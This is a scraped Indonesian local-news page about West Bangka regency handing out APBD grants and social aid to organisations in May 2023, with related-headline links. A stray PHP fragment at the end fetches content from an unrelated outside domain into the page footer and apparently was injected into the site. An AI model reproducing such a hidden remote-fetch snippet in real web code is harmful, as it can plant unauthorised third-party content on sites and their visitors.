Bantuan dana hibah dan Bansos APBD Kabupaten Bangka barat dan calon penerima bantuan hibah

Senin, 8 Mei 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Bangka Barat – Penyerah Bantuan dana hibah di pimpin oleh Bupati Bangka H.Sukirman, SH kepada penerima dana hibah pada hari Senin tanggal 8 Mei 2023 pada pukul 09:00 Wib yang bertempat di Or ll Pemkab.Bangka Barat.

Baca Juga:  Sambut Hari Bhayangkara ke-78, Polda Bali Gelar Baksos, Baktikes dan Bakti Religi

Sesuai surat keputusan Bupati Bangka Barat Nomor:188,45/90/SETDAI/2023 Tentang Penetapan Penerimaan Alokasi Belanja Hibah Kepada Badan,Lembaga, Organisasi kemasyarakatan yang Berbadan Hukum Indonesia di Kabupaten Bangka Barat tahun 2023.

Dana batuan hibah ini yang bersumber dari APBD kabupaten Bangka Barat secara langsung diserahkan kepada calon calon penerima dana hibah dari berbagi badan,lembaga,ormas yang mempunyai pada hukum yang terdaftar dalam undagan ada sekitar 43 udangn calon penerima dana hibah.

Baca Juga:  Humas Polres Pringsewu Kunjungi Forum Komunikasi Wartawan Kabupaten Pringsewu (FKWKP)

Sebagian besar penerimaan dana hibah dan bansos APBD Kabupaten Bangka Barat ini dibagikan kepada badan, lembag,dan ormas yang ada di kabupaten Bangka barat untuk kepentingan masyarakat dan pembangunan tempat ibadah secara transparan.

Baca Juga:  Yonif 147/KGJ Laksanakan Tes Kesamaptaan Jasmani Perdana Sejak diresmikan 8/Desember 2022

( Musarofa/Zulfikar)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Sudah Berkerja Nyata,WN 88 Deklarasi Dukung Paslon 01 di Pilkada 2024, Kami Siap Menangkan Nanang-Antoni
Musrenbang 2025 Pekon Wayngison Resmi Dibuka

Berita Terkait

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Jumat, 11 Oktober 2024 - 19:08 WIB

DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung

Jumat, 11 Oktober 2024 - 14:45 WIB

Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>